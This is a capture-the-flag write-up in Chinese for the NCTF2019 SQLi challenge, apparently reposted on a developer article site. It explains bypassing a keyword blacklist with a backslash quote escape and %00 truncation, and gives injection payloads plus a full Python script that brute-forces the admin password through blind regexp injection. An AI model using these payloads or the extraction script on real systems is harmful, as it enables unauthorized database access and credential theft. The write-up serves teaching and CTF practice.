[NCTF2019]SQLi
程序员文章站
2024-03-14 13:16:34
...
考察点
%00截断
regexp注入
猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:
$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;
If $_POST[‘passwd’] === admin’s password,
Then you will get the flag;
但是问题是过滤了# - '这三个东西,我们就没法将最后多出来的单引号给去掉。
发现了可以00截断。看了一下题目的环境:PHP/5.2.16
确实是存在00截断的php版本,因此利用00截断:
username=\&passwd=||(1);%00
regexp注入就类似于挨个比较吧,相等的时候返回true
例如搜索city表中name列开始位置含有连在一起的4位数字的所有信息
SELECT * FROM city WHERE name REGEXP '^[0-9]{4}';
构建语句
select * from users where username='' and passwd=''
username=\&passwd=||(passwd/**/regexp/**/"^y");%00
相等于select * from users where (passwd/**/regexp/**/"^y");
搜索是否有y开头的passwd,有就返回ture,没有就false。
注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
用parse.unquote('%00')
url解码
import requests
import time
from urllib import parse
url="http://c8d16be7-b6ce-47a0-a700-1fc3769b84a9.node3.buuoj.cn/index.php"
name=""
s="qwertyuiopasdfghjklzxcvbnm_}{0123456789"
for i in range(1,300):
for j in s:
z=name+j
payload="||passwd/**/regexp/**/\"^{}\";{}".format(z,parse.unquote('%00'))
data={
'username':'\\',
'passwd':payload
}
r=requests.post(url,data=data)
print(z)
if "welcome" in r.text:
name+=j
break
if "welcome" not in r.text:
break
print(name)
print(name)
如果过滤双引号,就直接16进制绕就好了,^{}
的内容16进制编码
然后输入密码即可
上一篇: [NCTF2019]Sore